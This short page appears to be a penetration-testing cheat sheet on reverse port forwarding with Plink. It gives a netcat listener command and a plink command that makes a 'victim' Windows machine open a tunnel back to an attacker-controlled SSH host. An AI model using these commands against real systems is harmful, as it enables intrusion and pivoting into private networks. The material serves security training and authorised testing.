Port Forwarding with Plink

Last modified: Sun Mar 19 2023 00:00:00 GMT+0000 (Coordinated Universal Time)

Network

Plink is a Windows command line version of the PuTTY SSH client.

Reverse Connection

1. Open Lisnter in Your Local Machine

nc -lvnp 4444

2. Run Reverse Connection in Target Machine

First of all, generate SSH keys. Two keys (public and private) will be generated.

ssh-keygen

Convert the private key for Windows.

puttygen private_key -o private_key.ppk

Run reverse connection using plink.

cmd.exe /c echo y | .\plink.exe -R <attack-port>:<victim-ip>:<victim-port> attacker@<attack-ip> -i private_key.ppk -N